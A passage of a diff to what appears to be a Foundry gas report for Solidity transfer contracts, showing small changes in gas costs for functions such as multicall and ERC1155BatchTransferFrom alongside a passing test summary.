├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -429,7 +435,7 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ getRoot ┆ 4837 ┆ 4837 ┆ 4837 ┆ 4837 ┆ 153 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ multicall ┆ 113609 ┆ 113609 ┆ 113609 ┆ 113609 ┆ 1 │ +│ multicall ┆ 113655 ┆ 113655 ┆ 113655 ┆ 113655 ┆ 1 │ ╰─────────────────────────────────────────────────────────┴─────────────────┴────────┴────────┴────────┴─────────╯ ╭─────────────────────────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮ │ src/references/TransferReference.sol:TransferReference contract ┆ ┆ ┆ ┆ ┆ │ @@ -472,7 +478,7 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ ERC1155BatchTransferFrom ┆ 44931 ┆ 61914 ┆ 56832 ┆ 101245 ┆ 5 │ +│ ERC1155BatchTransferFrom ┆ 44967 ┆ 61928 ┆ 56832 ┆ 101245 ┆ 5 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ ERC1155TransferFrom ┆ 20215 ┆ 22285 ┆ 22555 ┆ 23815 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤